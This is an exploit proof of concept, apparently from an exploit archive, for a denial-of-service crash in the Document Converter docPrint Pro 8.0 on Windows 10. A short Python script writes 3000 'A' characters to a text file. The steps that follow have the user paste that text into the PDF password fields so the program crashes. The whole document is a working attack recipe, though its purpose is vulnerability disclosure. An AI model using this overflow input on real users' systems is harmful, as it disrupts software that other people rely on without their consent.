docPrint Pro 8.0 Denial Of Service

`# -*- coding: utf-8 -*-  
# Exploit Title: Document Converter (docPrint Pro) v8.0 - Denial of Service (PoC)  
# Date: 19/05/2019  
# Author: Alejandra Sánchez  
# Vendor Homepage: http://www.verypdf.com  
# Software: http://dl.verypdf.net/docprint_pro_setup.exe  
# Version: 8.0  
# Tested on: Windows 10  
  
# Proof of Concept:  
# 1.- Run the python script "DocConverter.py", it will create a new file "DocConverter.txt"  
# 2.- Copy the text from the generated DocConverterr.txt file to clipboard  
# 3.- Open docPrint Document Converter  
# 4.- Go to 'Setting' > 'PDF Security'  
# 5.- Mark 'Encrypt PDF File' and paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'  
# 6.- Click on 'Add File(s)', and select a supported file, e.g. 'sample.doc'  
# 7.- Click on 'Start', you will see a crash  
  
buffer = "\x41" * 3000  
f = open ("DocConverter.txt", "w")  
f.write(buffer)  
f.close()  
`